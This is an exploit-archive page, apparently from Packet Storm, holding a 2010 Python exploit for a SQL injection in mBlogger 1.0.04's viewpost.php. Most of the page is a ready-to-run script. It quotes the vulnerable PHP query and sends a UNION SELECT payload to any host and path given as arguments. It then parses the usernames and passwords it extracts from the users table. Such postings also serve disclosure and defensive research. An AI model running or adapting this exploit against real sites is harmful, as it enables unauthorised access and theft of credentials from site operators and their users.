what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

mBlogger 1.0.04 SQL Injection

mBlogger 1.0.04 SQL Injection
Posted Sep 1, 2010
Authored by Ptrace Security

mBlogger version 1.0.04 remote SQL injection exploit that leverages viewpost.php.

tags | exploit, remote, php, sql injection
SHA-256 | ad67f65f9d7f20b832968beda4d86a419dbd6063e6ed35fa169828ffb2369b3e

mBlogger 1.0.04 SQL Injection

Change Mirror Download
#!/usr/bin/python
#
# Exploit Title: mBlogger v1.0.04 (viewpost.php) SQL Injection Exploit
# Date : 31 August 2010
# Author : Ptrace Security (Gianni Gnesa [gnix])
# Contact : research[at]ptrace-security[dot]com
# Software Link: http://sourceforge.net/projects/mblogger/
# Version : 1.0.04
# Tested on : EasyPHP 5.3.1.0 for Windows
#
#
# Description
# ===========
#
# + viewpost.php => SQL Injection!!
#
# 30: $query = "SELECT id, name, subject, message, posted FROM posts WHERE
# id = '$_GET[postID]'";
# 31: $result = mysql_query($query) or die(mysql_error());
# 32: while($row = mysql_fetch_array($result, MYSQL_ASSOC))
# 33: {
# 34: echo "<div class='posttitle'>";
# 35: echo "<h3>" . $row['subject'] . "</h3>";
# 36: echo "</div>";
# 37: echo "<div class='postbody'>";
# 38: echo "<p> Posted by: " . $row['name'] . " on " . $row['posted'] . "</p>";
# 39: echo "<p>" . $row['message'] . "</p>";
# 40: echo "</div>";
# 41: $postID = $row['id'];
# 42: }
#

import re
import sys
import http.client


def usage(prog):
print('Usage : ' + prog + ' <target> <path>\n')
print('Example: ' + prog + ' localhost /mBlogger/')
print(' ' + prog + ' www.target.com /complet/path/')
return


def exploit(target, path):
payload = 'viewpost.php?postID=-1%27%20UNION%20SELECT%201,%27h4x0r%27,%27'
payload += 'credentials%27,CONCAT(%27%3C1%3E%27,username,%27:%27,password,'
payload += '%27%3C2%3E%27),%20NULL%20FROM%20users%20--%20%27'

print('[+] Sending HTTP Request')
con = http.client.HTTPConnection(target)
con.request('GET', path + payload)
res = con.getresponse()

if res.status != 200:
print('[!] HTTP GET Request Failed')
exit(1)

print('[+] Parsing HTTP Response')
data = res.read().decode()
pattern = re.compile(r"<1>(.+?)<2>", re.M)

print('[+] Information Extracted:\n')
credentials = pattern.findall(data)
for element in credentials:
print(element)

return



print('\n+-----------------------------------------------------------------------------+')
print('| mBlogger v1.0.04 (viewpost.php) SQL Injection Exploit by Ptrace Security |')
print('+-----------------------------------------------------------------------------+\n')

if len(sys.argv) != 3:
usage(sys.argv[0])
else:
exploit(sys.argv[1], sys.argv[2])

exit(0)

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close